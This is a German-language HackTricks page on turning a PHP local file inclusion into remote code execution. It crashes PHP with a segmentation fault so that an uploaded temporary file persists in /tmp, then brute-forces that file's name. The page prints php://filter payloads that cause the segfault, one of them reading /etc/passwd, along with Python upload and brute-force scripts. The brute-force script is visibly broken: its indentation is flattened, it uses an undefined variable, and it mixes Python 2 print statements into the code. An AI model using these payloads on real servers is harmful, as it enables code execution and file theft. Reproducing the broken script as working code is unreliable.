LFI2RCE über Segmentierungsfehler

Reading time: 3 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Laut den Berichten https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (zweiter Teil) und https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view verursachten die folgenden Payloads einen Segmentierungsfehler in PHP:

php
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

Sie sollten wissen, dass wenn Sie eine POST-Anfrage mit einer Datei senden, PHP eine temporäre Datei in /tmp/php<etwas> mit dem Inhalt dieser Datei erstellt. Diese Datei wird automatisch gelöscht, sobald die Anfrage verarbeitet wurde.

Wenn Sie eine LFI finden und es Ihnen gelingt, einen Segmentierungsfehler in PHP auszulösen, wird die temporäre Datei niemals gelöscht. Daher können Sie mit der LFI-Schwachstelle danach suchen, bis Sie sie finden und beliebigen Code ausführen.

Sie können das Docker-Image https://hub.docker.com/r/easyengine/php7.0 zum Testen verwenden.

python
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks